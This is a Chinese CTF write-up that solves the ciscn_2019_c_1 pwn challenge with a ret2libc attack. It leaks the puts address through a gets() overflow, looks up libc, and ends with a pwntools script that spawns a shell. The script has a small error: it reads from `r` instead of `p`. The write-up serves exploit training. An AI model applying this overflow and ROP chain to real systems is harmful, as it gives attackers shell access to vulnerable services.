ciscn_2019_c_1
0x01
简单的ret2libc3
file checksec —— 64-bit 开NX
0x02
运行一下看看
再看看IDA
研究了半天发现是让你加解密的
再看看string window 没用system和binsh
又发现加密函数里有gets函数,可构成栈溢出
0x03
分析大致流程就是
- 利用一个程序已经执行过的函数去泄露它在程序中的地址,然后取末尾3个字节,去找到这个程序所使用的libc的版本
- 用同一个程序里函数的地址-libc里的函数地址即可得到偏移量
- 得到偏移量后就可以推算出程序中其他函数的地址,知道其他函数的地址之后就可以去执行system(’/bin/sh‘)
0x04
写exp
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',28342)
elf=ELF('./ciscn_2019_c_1')
main=0x400b28
pop_rdi=0x400c83
ret=0x4006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))
print hex(puts_addr)
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(binsh)
payload+=p64(system)
p.sendlineafter('encrypted\n',payload)
p.interactive()
0x05
libcsearch的github网址
安装
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
sudo python setup.py develop
覆盖数据payload=b'\0'+b'a'*(0x50-1+8)
\0是为了让加密函数的一个strlen函数停止(这个函数遇‘0’会停止),从而绕过加密,保证我们构造的rop不会被破坏,
buf的大小为0x50
-1是减去\0
+8是覆盖rbp
这道题的接收非常讲究
泄露地址接收时先是两下recvline(),
原因
recvline()一次接收到\n;
第一次recvline只能到Ciphertext;
第二次只能接收到0a
第三次的recvuntil才开始处理泄露的got地址。
先开一下context_log_lever='debug',整体看一下, 再自己recvuntil看能接收到什么内容。
然后再用recvuntil('\n')[:-1].ljust(8,'\0')来舍弃接收到的字符串最后的’\x0’并向左补齐
这一道题是64位的程序,这边涉及到64位程序和32位程序运行时的区别了
32位程序运行执行指令的时候直接去内存地址寻址执行
64位程序则是通过寄存器来传址,寄存器去内存寻址,找到地址返回给程序。因此要用寄存器存参
注意栈对齐
还有最后还要再输一个0
参考资料:
[BUUCTF]PWN6——ciscn_2019_c_1